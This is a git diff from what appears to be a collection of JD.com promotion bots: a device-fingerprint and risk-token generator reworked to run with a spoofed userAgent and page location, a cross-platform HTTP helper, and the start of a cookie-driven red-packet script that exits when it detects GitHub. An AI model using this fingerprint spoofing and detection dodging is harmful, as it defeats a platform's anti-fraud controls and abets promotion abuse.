Capitals;Menlo;MingLiU-ExtB;MoolBoran;MS PMincho;MS Reference Sans Serif;News Gothic MT;Niagara Solid;Nyala;Palace Script MT;Papyrus;Perpetua;Playbill;PMingLiU;Rachana;Rockwell;Sawasdee;Script MT Bold;Segoe Print;Showcard Gothic;SimHei;Snap ITC;TlwgMono;Tw Cen MT Condensed Extra Bold;Ubuntu;Umpush;Univers;Utopia;Vladimir Script;Wide Latin" + .split(";"), + y = + "4game;AdblockPlugin;AdobeExManCCDetect;AdobeExManDetect;Alawar NPAPI utils;Aliedit Plug-In;Alipay Security Control 3;AliSSOLogin plugin;AmazonMP3DownloaderPlugin;AOL Media Playback Plugin;AppUp;ArchiCAD;AVG SiteSafety plugin;Babylon ToolBar;Battlelog Game Launcher;BitCometAgent;Bitdefender QuickScan;BlueStacks Install Detector;CatalinaGroup Update;Citrix ICA Client;Citrix online plug-in;Citrix Receiver Plug-in;Coowon Update;DealPlyLive Update;Default Browser Helper;DivX Browser Plug-In;DivX Plus Web Player;DivX VOD Helper Plug-in;doubleTwist Web Plugin;Downloaders plugin;downloadUpdater;eMusicPlugin DLM6;ESN Launch Mozilla Plugin;ESN Sonar API;Exif Everywhere;Facebook Plugin;File Downloader Plug-in;FileLab plugin;FlyOrDie Games Plugin;Folx 3 Browser Plugin;FUZEShare;GDL Object Web Plug-in 16.00;GFACE Plugin;Ginger;Gnome Shell Integration;Google Earth Plugin;Google Earth Plug-in;Google Gears 0.5.33.0;Google Talk Effects Plugin;Google Update;Harmony Firefox Plugin;Harmony Plug-In;Heroes & Generals live;HPDetect;Html5 location provider;IE Tab plugin;iGetterScriptablePlugin;iMesh plugin;Kaspersky Password Manager;LastPass;LogMeIn Plugin 1.0.0.935;LogMeIn Plugin 1.0.0.961;Ma-Config.com plugin;Microsoft Office 2013;MinibarPlugin;Native Client;Nitro PDF Plug-In;Nokia Suite Enabler Plugin;Norton Identity Safe;npAPI Plugin;NPLastPass;NPPlayerShell;npTongbuAddin;NyxLauncher;Octoshape Streaming Services;Online Storage plug-in;Orbit Downloader;Pando Web Plugin;Parom.TV player plugin;PDF integrado do WebKit;PDF-XChange Viewer;PhotoCenterPlugin1.1.2.2;Picasa;PlayOn Plug-in;QQ2013 Firefox Plugin;QQDownload Plugin;QQMiniDL Plugin;QQMusic;RealDownloader Plugin;Roblox Launcher Plugin;RockMelt Update;Safer Update;SafeSearch;Scripting.Dictionary;SefClient Plugin;Shell.UIHelper;Silverlight Plug-In;Simple Pass;Skype Web Plugin;SumatraPDF Browser Plugin;Symantec PKI Client;Tencent FTN plug-in;Thunder DapCtrl NPAPI Plugin;TorchHelper;Unity Player;Uplay PC;VDownloader;Veetle TV Core;VLC Multimedia Plugin;Web Components;WebKit-integrierte PDF;WEBZEN Browser Extension;Wolfram Mathematica;WordCaptureX;WPI Detector 1.4;Yandex Media Plugin;Yandex PDF Viewer;YouTube Plug-in;zako" + .split(";"); + this.toJson = "object" === typeof JSON && JSON.stringify; + this.init = function () { + _fingerprint_step = 6; + t(); + _fingerprint_step = 7; + "function" !== typeof this.toJson && (this.toJson = function (n) { + var e = typeof n; + if ("undefined" === e || null === n) return "null"; + if ("number" === e || "boolean" === e) return n + ""; + if ("object" === e && n && n.constructor === Array) { + e = []; + for (var f = 0; n.length > f; f++) e.push(this.toJson(n[f])); + return "[" + (e + "]") + } + if ("object" === e) { + e = []; + for (f in n) n.hasOwnProperty(f) && e.push('"' + f + '":' + this.toJson(n[f])); + return "{" + (e + "}") + } + }); + this.sdkCollectInit() + }; + this.sdkCollectInit = function () { + try { + try { + bp_bizid && (this.bizId = bp_bizid) + } catch (f) { + this.bizId = "jsDefault" + } + var n = navigator.userAgent.toLowerCase(), + e = !n.match(/(iphone|ipad|ipod)/i) && (-1 < n.indexOf("android") || -1 < n.indexOf("adr")); + this.deviceInfo.isJdApp = -1 < n.indexOf("jdapp"); + this.deviceInfo.isJrApp = -1 < n.indexOf("jdjr"); + this.deviceInfo.userAgent = navigator.userAgent; + this.deviceInfo.isAndroid = e; + this.createWorker() + } catch (f) { + } + }; + this.db = function (n, e) { + try { + _fingerprint_step = "m"; + if (window.openDatabase) { + var f = window.openDatabase("sqlite_jdtdstorage", "", "jdtdstorage", 1048576); + void 0 !== e && "" != e ? f.transaction(function (r) { + r.executeSql( + "CREATE TABLE IF NOT EXISTS cache(id INTEGER NOT NULL PRIMARY KEY AUTOINCREMENT, name TEXT NOT NULL, value TEXT NOT NULL, UNIQUE (name))", + [], + function (k, g) { + }, + function (k, g) { + }); + r.executeSql("INSERT OR REPLACE INTO cache(name, value) VALUES(?, ?)", [n, e], + function (k, g) { + }, + function (k, g) { + }) + }) : f.transaction(function (r) { + r.executeSql("SELECT value FROM cache WHERE name=?", [n], function (k, g) { + 1 <= g.rows.length && (_JdEid = g.rows.item(0).value) + }, function (k, g) { + }) + }) + } + _fingerprint_step = "n" + } catch (r) { + } + }; + this.setCookie = function (n, e) { + void 0 !== e && "" != e && (document.cookie = n + "=" + e + + "; expires=Tue, 31 Dec 2030 00:00:00 UTC; path=/; domain=" + _root_domain) + }; + this.tdencrypt = function (n) { + n = this.toJson(n); + n = encodeURIComponent(n); + var e = "", + f = 0; + do { + var r = n.charCodeAt(f++); + var k = n.charCodeAt(f++); + var g = n.charCodeAt(f++); + var m = r >> 2; + r = (r & 3) << 4 | k >> 4; + var a = (k & 15) << 2 | g >> 6; + var b = g & 63; + isNaN(k) ? a = b = 64 : isNaN(g) && (b = 64); + e = e + "23IL k; k++) C = q[k], void 0 !== screen[C] && (z[C] = screen[C]); + q = ["devicePixelRatio", "screenTop", "screenLeft"]; + l = {}; + for (k = 0; q.length > k; k++) C = q[k], void 0 !== window[C] && (l[C] = window[C]); + e.p = h; + e.w = l; + e.s = z; + e.sc = f; + e.tz = n.getTimezoneOffset(); + e.lil = w.sort().join("|"); + e.wil = ""; + f = {}; + try { + f.cookie = navigator.cookieEnabled, f.localStorage = !!window.localStorage, f.sessionStorage = !! + window.sessionStorage, f.globalStorage = !!window.globalStorage, f.indexedDB = !!window.indexedDB + } catch (D) { + } + e.ss = f; + e.ts.deviceTime = n.getTime(); + e.ts.deviceEndTime = (new Date).getTime(); + return this.tdencrypt(e) + }; + this.collectSdk = function (n) { + try { + var e = this, + f = !1, + r = e.getLocal("BATQW722QTLYVCRD"); + if (null != r && void 0 != r && "" != r) try { + var k = JSON.parse(r), + g = (new Date).getTime(); + null != k && void 0 != k.t && "number" == typeof k.t && (12E5 >= g - k.t && void 0 != k.tk && + null != k.tk && "" != k.tk && k.tk.startsWith("jdd") ? (e.deviceInfo.sdkToken = k.tk, + f = !0) : void 0 != k.tk && null != k.tk && "" != k.tk && (e.deviceInfo.sdkToken = + k.tk)) + } catch (m) { + } + r = !1; + e.deviceInfo.isJdApp ? (e.deviceInfo.clientVersion = navigator.userAgent.split(";")[2], (r = 0 < e.compareVersion( + e.deviceInfo.clientVersion, "7.0.2")) && !f && e.getJdSdkCacheToken(function (m) { + e.deviceInfo.sdkToken = m; + null != m && "" != m && m.startsWith("jdd") || e.getJdBioToken(n) + })) : e.deviceInfo.isJrApp && (e.deviceInfo.clientVersion = navigator.userAgent.match( + /clientVersion=([^&]*)(&|$)/)[1], (r = 0 < e.compareVersion(e.deviceInfo.clientVersion, + "4.6.0")) && !f && e.getJdJrSdkCacheToken(function (m) { + e.deviceInfo.sdkToken = m; + null != m && "" != m && m.startsWith("jdd") || e.getJdJrBioToken(n) + })); + "function" == typeof n && n(e.deviceInfo) + } catch (m) { + } + }; + this.compareVersion = function (n, e) { + try { + if (n === e) return 0; + var f = n.split("."); + var r = e.split("."); + for (n = 0; n < f.length; n++) { + var k = parseInt(f[n]); + if (!r[n]) return 1; + var g = parseInt(r[n]); + if (k < g) break; + if (k > g) return 1 + } + } catch (m) { + } + return -1 + }; + this.isWKWebView = function () { + return this.deviceInfo.userAgent.match(/supportJDSHWK/i) || 1 == window._is_jdsh_wkwebview ? !0 : !1 + }; + this.getErrorToken = function (n) { + try { + if (n) { + var e = (n + "").match(/"token":"(.*?)"/); + if (e && 1 < e.length) return e[1] + } + } catch (f) { + } + return "" + }; + this.getJdJrBioToken = function (n) { + var e = this; + "undefined" != typeof JrBridge && null != JrBridge && "undefined" != typeof JrBridge._version && (0 > e + .compareVersion(JrBridge._version, "2.0.0") ? console.error( + "\u6865\u7248\u672c\u4f4e\u4e8e2.0\u4e0d\u652f\u6301bio") : JrBridge.callNative({ + type: e.bioConfig.type, + operation: e.bioConfig.operation, + biometricData: { + bizId: e.bizId, + duraTime: e.bioConfig.duraTime, + interval: e.bioConfig.interval + } + }, function (f) { + try { + "object" != typeof f && (f = JSON.parse(f)), e.deviceInfo.sdkToken = f.token + } catch (r) { + console.error(r) + } + null != e.deviceInfo.sdkToken && "" != e.deviceInfo.sdkToken && (f = { + tk: e.deviceInfo.sdkToken, + t: (new Date).getTime() + }, e.store("BATQW722QTLYVCRD", JSON.stringify(f))) + })) + }; + this.getJdJrSdkCacheToken = function (n) { + var e = this; + try { + "undefined" == typeof JrBridge || null == JrBridge || "undefined" == typeof JrBridge._version || 0 > + e.compareVersion(JrBridge._version, "2.0.0") || JrBridge.callNative({ + type: e.bioConfig.type, + operation: 5, + biometricData: { + bizId: e.bizId, + duraTime: e.bioConfig.duraTime, + interval: e.bioConfig.interval + } + }, function (f) { + var r = ""; + try { + "object" != typeof f && (f = JSON.parse(f)), r = f.token + } catch (k) { + console.error(k) + } + null != r && "" != r && "function" == typeof n && (n(r), r.startsWith("jdd") && (f = { + tk: r, + t: (new Date).getTime() + }, e.store("BATQW722QTLYVCRD", JSON.stringify(f)))) + }) + } catch (f) { + } + }; + this.getJdBioToken = function (n) { + var e = this; + n = JSON.stringify({ + businessType: "bridgeBiologicalProbe", + callBackName: "_bioDeviceCb", + params: { + pin: "", + jsonData: { + type: e.bioConfig.type, + operation: e.bioConfig.operation, + data: { + bizId: e.bizId, + duraTime: e.bioConfig.duraTime, + interval: e.bioConfig.interval + }, + biometricData: { + bizId: e.bizId, + duraTime: e.bioConfig.duraTime, + interval: e.bioConfig.interval + } + } + } + }); + e.isWKWebView() ? window.webkit.messageHandlers.JDAppUnite.postMessage({ + method: "notifyMessageToNative", + params: n + }) : window.JDAppUnite && window.JDAppUnite.notifyMessageToNative(n); + window._bioDeviceCb = function (f) { + try { + var r = "object" == typeof f ? f : JSON.parse(f); + if (void 0 != r && null != r && "0" != r.status) return; + null != r.data.token && void 0 != r.data.token && "" != r.data.token && (e.deviceInfo.sdkToken = + r.data.token) + } catch (k) { + f = e.getErrorToken(f), null != f && "" != f && (e.deviceInfo.sdkToken = f) + } + null != e.deviceInfo.sdkToken && "" != e.deviceInfo.sdkToken && (f = { + tk: e.deviceInfo.sdkToken, + t: (new Date).getTime() + }, e.store("BATQW722QTLYVCRD", JSON.stringify(f))) + } + }; + this.getJdSdkCacheToken = function (n) { + try { + var e = this, + f = JSON.stringify({ + businessType: "bridgeBiologicalProbe", + callBackName: "_bioDeviceSdkCacheCb", + params: { + pin: "", + jsonData: { + type: e.bioConfig.type, + operation: 5, + data: { + bizId: e.bizId, + duraTime: e.bioConfig.duraTime, + interval: e.bioConfig.interval + }, + biometricData: { + bizId: e.bizId, + duraTime: e.bioConfig.duraTime, + interval: e.bioConfig.interval + } + } + } + }); + e.isWKWebView() ? window.webkit.messageHandlers.JDAppUnite.postMessage({ + method: "notifyMessageToNative", + params: f + }) : window.JDAppUnite && window.JDAppUnite.notifyMessageToNative(f); + window._bioDeviceSdkCacheCb = function (r) { + var k = ""; + try { + var g = "object" == typeof r ? r : JSON.parse(r); + if (void 0 != g && null != g && "0" != g.status) return; + k = g.data.token + } catch (m) { + k = e.getErrorToken(r) + } + null != k && "" != k && "function" == typeof n && (n(k), k.startsWith("jdd") && (r = { + tk: k, + t: (new Date).getTime() + }, e.store("BATQW722QTLYVCRD", JSON.stringify(r)))) + } + } catch (r) { + } + }; + this.store = function (n, e) { + try { + this.setCookie(n, e) + } catch (f) { + } + try { + window.localStorage && window.localStorage.setItem(n, e) + } catch (f) { + } + try { + window.sessionStorage && window.sessionStorage.setItem(n, e) + } catch (f) { + } + try { + window.globalStorage && window.globalStorage[".localdomain"].setItem(n, e) + } catch (f) { + } + try { + this.db(n, _JdEid) + } catch (f) { + } + }; + this.getLocal = function (n) { + var e = {}, + f = null; + try { + var r = document.cookie.replace(new RegExp("(?:(?:^|.*;\\s*)" + n + "\\s*\\=\\s*([^;]*).*$)|^.*$"), + "$1"); + 0 !== r.length && (e.cookie = r) + } catch (g) { + } + try { + window.localStorage && null !== window.localStorage && 0 !== window.localStorage.length && (e.localStorage = + window.localStorage.getItem(n)) + } catch (g) { + } + try { + window.sessionStorage && null !== window.sessionStorage && (e.sessionStorage = window.sessionStorage[ + n]) + } catch (g) { + } + try { + p.globalStorage && (e.globalStorage = window.globalStorage[".localdomain"][n]) + } catch (g) { + } + try { + d && "function" == typeof d.load && "function" == typeof d.getAttribute && (d.load( + "jdgia_user_data"), e.userData = d.getAttribute(n)) + } catch (g) { + } + try { + E.indexedDbId && (e.indexedDb = E.indexedDbId) + } catch (g) { + } + try { + E.webDbId && (e.webDb = E.webDbId) + } catch (g) { + } + try { + for (var k in e) + if (32 < e[k].length) { + f = e[k]; + break + } + } catch (g) { + } + try { + if (null == f || "undefined" === typeof f || 0 >= f.length) f = u(n) + } catch (g) { + } + return f + }; + this.createWorker = function () { + if (window.Worker) { + try { + var n = new Blob([ + "onmessage = function (event) {\n var data = JSON.parse(event.data);\n try {\n var httpRequest;\n try {\n httpRequest = new XMLHttpRequest();\n } catch (h) {}\n if (!httpRequest)\n try {\n httpRequest = new (window['ActiveXObject'])('Microsoft.XMLHTTP')\n } catch (l) {}\n if (!httpRequest)\n try {\n httpRequest = new (window['ActiveXObject'])('Msxml2.XMLHTTP')\n } catch (r) {}\n if (!httpRequest)\n try {\n httpRequest = new (window['ActiveXObject'])('Msxml3.XMLHTTP')\n } catch (n) {}\n\n if(data){\n httpRequest['open']('POST', data.url, false);\n httpRequest['setRequestHeader']('Content-Type', 'application/x-www-form-urlencoded;charset=UTF-8');\n httpRequest['onreadystatechange'] = function () {\n if (4 === httpRequest['readyState'] && 200 === httpRequest['status']) {\n postMessage(httpRequest.responseText);\n }\n };\n httpRequest['send'](data.data);\n }\n\n }catch (e){console.error(e);}\n};" + ], { + type: "application/javascript" + }) + } catch (e) { + window.BlobBuilder = window.BlobBuilder || window.WebKitBlobBuilder || window.MozBlobBuilder, n = + new BlobBuilder, n.append( + "onmessage = function (event) {\n var data = JSON.parse(event.data);\n try {\n var httpRequest;\n try {\n httpRequest = new XMLHttpRequest();\n } catch (h) {}\n if (!httpRequest)\n try {\n httpRequest = new (window['ActiveXObject'])('Microsoft.XMLHTTP')\n } catch (l) {}\n if (!httpRequest)\n try {\n httpRequest = new (window['ActiveXObject'])('Msxml2.XMLHTTP')\n } catch (r) {}\n if (!httpRequest)\n try {\n httpRequest = new (window['ActiveXObject'])('Msxml3.XMLHTTP')\n } catch (n) {}\n\n if(data){\n httpRequest['open']('POST', data.url, false);\n httpRequest['setRequestHeader']('Content-Type', 'application/x-www-form-urlencoded;charset=UTF-8');\n httpRequest['onreadystatechange'] = function () {\n if (4 === httpRequest['readyState'] && 200 === httpRequest['status']) {\n postMessage(httpRequest.responseText);\n }\n };\n httpRequest['send'](data.data);\n }\n\n }catch (e){console.error(e);}\n};" + ), n = n.getBlob() + } + try { + this.worker = new Worker(URL.createObjectURL(n)) + } catch (e) { + } + } + }; + this.reportWorker = function (n, e, f, r) { + try { + null != this.worker && (this.worker.postMessage(JSON.stringify({ + url: n, + data: e, + success: !1, + async: !1 + })), this.worker.onmessage = function (k) { + }) + } catch (k) { + } + } +}; + +function td_collect_exe() { + _fingerprint_step = 8; + var t = td_collect.collect(); + td_collect.collectSdk(); + var u = "string" === typeof orderId ? orderId : "", + v = "undefined" !== typeof jdfp_pinenp_ext && jdfp_pinenp_ext ? 2 : 1; + u = { + pin: _jdJrTdCommonsObtainPin(v), + oid: u, + p: "https:" == document.location.protocol ? "s" : "h", + fp: risk_jd_local_fingerprint, + ctype: v, + v: "2.7.10.4", + f: "3" + }; + try { + u.o = _CurrentPageUrl, u.qs = _url_query_str + } catch (w) { + } + _fingerprint_step = 9; + 0 >= _JdEid.length && (_JdEid = td_collect.obtainLocal(), 0 < _JdEid.length && (_eidFlag = !0)); + u.fc = _JdEid; + try { + u.t = jd_risk_token_id + } catch (w) { + } + try { + if ("undefined" != typeof gia_fp_qd_uuid && 0 <= gia_fp_qd_uuid.length) u.qi = gia_fp_qd_uuid; + else { + var x = _JdJrRiskClientStorage.jdtdstorage_cookie("qd_uid"); + u.qi = void 0 == x ? "" : x + } + } catch (w) { + } + "undefined" != typeof jd_shadow__ && 0 < jd_shadow__.length && (u.jtb = jd_shadow__); + try { + td_collect.deviceInfo && void 0 != td_collect.deviceInfo && null != td_collect.deviceInfo.sdkToken && "" != + td_collect.deviceInfo.sdkToken ? (u.stk = td_collect.deviceInfo.sdkToken, td_collect.isRpTok = !0) : + td_collect.isRpTok = !1 + } catch (w) { + td_collect.isRpTok = !1 + } + x = td_collect.tdencrypt(u); + // console.log(u) + return {a: x, d: t} +} + +function _jdJrTdCommonsObtainPin(t) { + var u = ""; + "string" === typeof jd_jr_td_risk_pin && 1 == t ? u = jd_jr_td_risk_pin : "string" === typeof pin ? u = pin : + "object" === typeof pin && "string" === typeof jd_jr_td_risk_pin && (u = jd_jr_td_risk_pin); + return u +}; + +function getBody(userAgent, url = document.location.href) { + navigator.userAgent = userAgent + let href = url + let choose = /((https?:)\/\/([^\/]+))(.+)/.exec(url) + let [, origin, protocol, host, pathname] = choose; + document.location.href = href + document.location.origin = origin + document.location.protocol = protocol + document.location.host = host + document.location.pathname = pathname + const JF = new JdJrTdRiskFinger(); + let fp = JF.f.get(function (t) { + risk_jd_local_fingerprint = t + return t + }); + let arr = td_collect_exe() + return {fp, ...arr} +} + + +function Env(t, e) { + "undefined" != typeof process && JSON.stringify(process.env).indexOf("GITHUB") > -1 && process.exit(0); + + class s { + constructor(t) { + this.env = t + } + + send(t, e = "GET") { + t = "string" == typeof t ? {url: t} : t; + let s = this.get; + return "POST" === e && (s = this.post), new Promise((e, i) => { + s.call(this, t, (t, s, r) => { + t ? i(t) : e(s) + }) + }) + } + + get(t) { + return this.send.call(this.env, t) + } + + post(t) { + return this.send.call(this.env, t, "POST") + } + } + + return new class { + constructor(t, e) { + this.name = t, this.http = new s(this), this.data = null, this.dataFile = "box.dat", this.logs = [], this.isMute = !1, this.isNeedRewrite = !1, this.logSeparator = "\n", this.startTime = (new Date).getTime(), Object.assign(this, e), this.log("", `🔔${this.name}, 开始!`) + } + + isNode() { + return "undefined" != typeof module && !!module.exports + } + + isQuanX() { + return "undefined" != typeof $task + } + + isSurge() { + return "undefined" != typeof $httpClient && "undefined" == typeof $loon + } + + isLoon() { + return "undefined" != typeof $loon + } + + toObj(t, e = null) { + try { + return JSON.parse(t) + } catch { + return e + } + } + + toStr(t, e = null) { + try { + return JSON.stringify(t) + } catch { + return e + } + } + + getjson(t, e) { + let s = e; + const i = this.getdata(t); + if (i) try { + s = JSON.parse(this.getdata(t)) + } catch { + } + return s + } + + setjson(t, e) { + try { + return this.setdata(JSON.stringify(t), e) + } catch { + return !1 + } + } + + getScript(t) { + return new Promise(e => { + this.get({url: t}, (t, s, i) => e(i)) + }) + } + + runScript(t, e) { + return new Promise(s => { + let i = this.getdata("@chavy_boxjs_userCfgs.httpapi"); + i = i ? i.replace(/\n/g, "").trim() : i; + let r = this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout"); + r = r ? 1 * r : 20, r = e && e.timeout ? e.timeout : r; + const [o, h] = i.split("@"), n = { + url: `http://${h}/v1/scripting/evaluate`, + body: {script_text: t, mock_type: "cron", timeout: r}, + headers: {"X-Key": o, Accept: "*/*"} + }; + this.post(n, (t, e, i) => s(i)) + }).catch(t => this.logErr(t)) + } + + loaddata() { + if (!this.isNode()) return {}; + { + this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); + const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), + s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e); + if (!s && !i) return {}; + { + const i = s ? t : e; + try { + return JSON.parse(this.fs.readFileSync(i)) + } catch (t) { + return {} + } + } + } + } + + writedata() { + if (this.isNode()) { + this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); + const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), + s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e), r = JSON.stringify(this.data); + s ? this.fs.writeFileSync(t, r) : i ? this.fs.writeFileSync(e, r) : this.fs.writeFileSync(t, r) + } + } + + lodash_get(t, e, s) { + const i = e.replace(/\[(\d+)\]/g, ".$1").split("."); + let r = t; + for (const t of i) if (r = Object(r)[t], void 0 === r) return s; + return r + } + + lodash_set(t, e, s) { + return Object(t) !== t ? t : (Array.isArray(e) || (e = e.toString().match(/[^.[\]]+/g) || []), e.slice(0, -1).reduce((t, s, i) => Object(t[s]) === t[s] ? t[s] : t[s] = Math.abs(e[i + 1]) >> 0 == +e[i + 1] ? [] : {}, t)[e[e.length - 1]] = s, t) + } + + getdata(t) { + let e = this.getval(t); + if (/^@/.test(t)) { + const [, s, i] = /^@(.*?)\.(.*?)$/.exec(t), r = s ? this.getval(s) : ""; + if (r) try { + const t = JSON.parse(r); + e = t ? this.lodash_get(t, i, "") : e + } catch (t) { + e = "" + } + } + return e + } + + setdata(t, e) { + let s = !1; + if (/^@/.test(e)) { + const [, i, r] = /^@(.*?)\.(.*?)$/.exec(e), o = this.getval(i), + h = i ? "null" === o ? null : o || "{}" : "{}"; + try { + const e = JSON.parse(h); + this.lodash_set(e, r, t), s = this.setval(JSON.stringify(e), i) + } catch (e) { + const o = {}; + this.lodash_set(o, r, t), s = this.setval(JSON.stringify(o), i) + } + } else s = this.setval(t, e); + return s + } + + getval(t) { + return this.isSurge() || this.isLoon() ? $persistentStore.read(t) : this.isQuanX() ? $prefs.valueForKey(t) : this.isNode() ? (this.data = this.loaddata(), this.data[t]) : this.data && this.data[t] || null + } + + setval(t, e) { + return this.isSurge() || this.isLoon() ? $persistentStore.write(t, e) : this.isQuanX() ? $prefs.setValueForKey(t, e) : this.isNode() ? (this.data = this.loaddata(), this.data[e] = t, this.writedata(), !0) : this.data && this.data[e] || null + } + + initGotEnv(t) { + this.got = this.got ? this.got : require("got"), this.cktough = this.cktough ? this.cktough : require("tough-cookie"), this.ckjar = this.ckjar ? this.ckjar : new this.cktough.CookieJar, t && (t.headers = t.headers ? t.headers : {}, void 0 === t.headers.Cookie && void 0 === t.cookieJar && (t.cookieJar = this.ckjar)) + } + + get(t, e = (() => { + })) { + t.headers && (delete t.headers["Content-Type"], delete t.headers["Content-Length"]), this.isSurge() || this.isLoon() ? (this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, {"X-Surge-Skip-Scripting": !1})), $httpClient.get(t, (t, s, i) => { + !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) + })) : this.isQuanX() ? (this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, {hints: !1})), $task.fetch(t).then(t => { + const {statusCode: s, statusCode: i, headers: r, body: o} = t; + e(null, {status: s, statusCode: i, headers: r, body: o}, o) + }, t => e(t))) : this.isNode() && (this.initGotEnv(t), this.got(t).on("redirect", (t, e) => { + try { + if (t.headers["set-cookie"]) { + const s = t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString(); + s && this.ckjar.setCookieSync(s, null), e.cookieJar = this.ckjar + } + } catch (t) { + this.logErr(t) + } + }).then(t => { + const {statusCode: s, statusCode: i, headers: r, body: o} = t; + e(null, {status: s, statusCode: i, headers: r, body: o}, o) + }, t => { + const {message: s, response: i} = t; + e(s, i, i && i.body) + })) + } + + post(t, e = (() => { + })) { + if (t.body && t.headers && !t.headers["Content-Type"] && (t.headers["Content-Type"] = "application/x-www-form-urlencoded"), t.headers && delete t.headers["Content-Length"], this.isSurge() || this.isLoon()) this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, {"X-Surge-Skip-Scripting": !1})), $httpClient.post(t, (t, s, i) => { + !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) + }); else if (this.isQuanX()) t.method = "POST", this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, {hints: !1})), $task.fetch(t).then(t => { + const {statusCode: s, statusCode: i, headers: r, body: o} = t; + e(null, {status: s, statusCode: i, headers: r, body: o}, o) + }, t => e(t)); else if (this.isNode()) { + this.initGotEnv(t); + const {url: s, ...i} = t; + this.got.post(s, i).then(t => { + const {statusCode: s, statusCode: i, headers: r, body: o} = t; + e(null, {status: s, statusCode: i, headers: r, body: o}, o) + }, t => { + const {message: s, response: i} = t; + e(s, i, i && i.body) + }) + } + } + + time(t, e = null) { + const s = e ? new Date(e) : new Date; + let i = { + "M+": s.getMonth() + 1, + "d+": s.getDate(), + "H+": s.getHours(), + "m+": s.getMinutes(), + "s+": s.getSeconds(), + "q+": Math.floor((s.getMonth() + 3) / 3), + S: s.getMilliseconds() + }; + /(y+)/.test(t) && (t = t.replace(RegExp.$1, (s.getFullYear() + "").substr(4 - RegExp.$1.length))); + for (let e in i) new RegExp("(" + e + ")").test(t) && (t = t.replace(RegExp.$1, 1 == RegExp.$1.length ? i[e] : ("00" + i[e]).substr(("" + i[e]).length))); + return t + } + + msg(e = t, s = "", i = "", r) { + const o = t => { + if (!t) return t; + if ("string" == typeof t) return this.isLoon() ? t : this.isQuanX() ? {"open-url": t} : this.isSurge() ? {url: t} : void 0; + if ("object" == typeof t) { + if (this.isLoon()) { + let e = t.openUrl || t.url || t["open-url"], s = t.mediaUrl || t["media-url"]; + return {openUrl: e, mediaUrl: s} + } + if (this.isQuanX()) { + let e = t["open-url"] || t.url || t.openUrl, s = t["media-url"] || t.mediaUrl; + return {"open-url": e, "media-url": s} + } + if (this.isSurge()) { + let e = t.url || t.openUrl || t["open-url"]; + return {url: e} + } + } + }; + if (this.isMute || (this.isSurge() || this.isLoon() ? $notification.post(e, s, i, o(r)) : this.isQuanX() && $notify(e, s, i, o(r))), !this.isMuteLog) { + let t = ["", "==============📣系统通知📣=============="]; + t.push(e), s && t.push(s), i && t.push(i), console.log(t.join("\n")), this.logs = this.logs.concat(t) + } + } + + log(...t) { + t.length > 0 && (this.logs = [...this.logs, ...t]), console.log(t.join(this.logSeparator)) + } + + logErr(t, e) { + const s = !this.isSurge() && !this.isQuanX() && !this.isLoon(); + s ? this.log("", `❗️${this.name}, 错误!`, t.stack) : this.log("", `❗️${this.name}, 错误!`, t) + } + + wait(t) { + return new Promise(e => setTimeout(e, t)) + } + + done(t = {}) { + const e = (new Date).getTime(), s = (e - this.startTime) / 1e3; + this.log("", `🔔${this.name}, 结束! 🕛 ${s} 秒`), this.log(), (this.isSurge() || this.isQuanX() || this.isLoon()) && $done(t) + } + }(t, e) +} \ No newline at end of file diff --git a/backUp/jd_redPacket.js b/backUp/jd_redPacket.js new file mode 100644 index 0000000..8c65b4c --- /dev/null +++ b/backUp/jd_redPacket.js @@ -0,0 +1,700 @@ +/* +京东全民开红包 +Last Modified time: 2021-05-19 16:27:18 +活动入口:京东APP首页-领券-锦鲤红包。[活动地址](https://happy.m.jd.com/babelDiy/zjyw/3ugedFa7yA6NhxLN5gw2L3PF9sQC/index.html) +未实现功能:领3张券功能 + +脚本兼容: QuantumultX, Surge, Loon, JSBox, Node.js +================QuantumultX================== +[task_local] +#京东全民开红包 +1 1,2,23 * * * https://raw.githubusercontent.com/Aaron-lv/sync/jd_scripts/jd_redPacket.js, tag=京东全民开红包, img-url=https://raw.githubusercontent.com/58xinian/icon/master/jd_redPacket.png, enabled=true +===================Loon============== +[Script] +cron "1 1,2,23 * * *" script-path=https://raw.githubusercontent.com/Aaron-lv/sync/jd_scripts/jd_redPacket.js, tag=京东全民开红包 +===============Surge=============== +[Script] +京东全民开红包 = type=cron,cronexp="1 1,2,23 * * *",wake-system=1,timeout=3600,script-path=https://raw.githubusercontent.com/Aaron-lv/sync/jd_scripts/jd_redPacket.js +====================================小火箭============================= +京东全民开红包 = type=cron,script-path=https://raw.githubusercontent.com/Aaron-lv/sync/jd_scripts/jd_redPacket.js, cronexpr="1 1,2,23 * * *", timeout=3600, enable=true + */ +const $ = new Env('京东全民开红包'); +const notify = $.isNode() ? require('./sendNotify') : ''; +//Node.js用户请在jdCookie.js处填写京东ck; +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +//IOS等用户直接用NobyDa的jd cookie +let cookiesArr = [], cookie = ''; +let isLoginInfo = {} +$.redPacketId = []; +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; + if (JSON.stringify(process.env).indexOf('GITHUB') > -1) process.exit(0); +} else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); +} +const JD_API_HOST = 'https://api.m.jd.com/api'; +!(async () => { + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + return; + } + let res = await 